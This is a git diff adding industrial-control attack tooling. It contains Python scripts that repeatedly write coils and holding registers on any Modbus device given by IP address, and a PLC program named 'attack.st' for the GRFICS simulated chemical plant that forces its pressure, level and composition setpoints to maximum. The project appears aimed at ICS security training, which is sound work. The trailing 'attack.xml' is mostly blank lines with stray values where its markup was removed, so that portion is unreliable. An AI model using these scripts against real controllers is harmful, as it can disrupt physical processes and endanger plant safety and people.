for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + 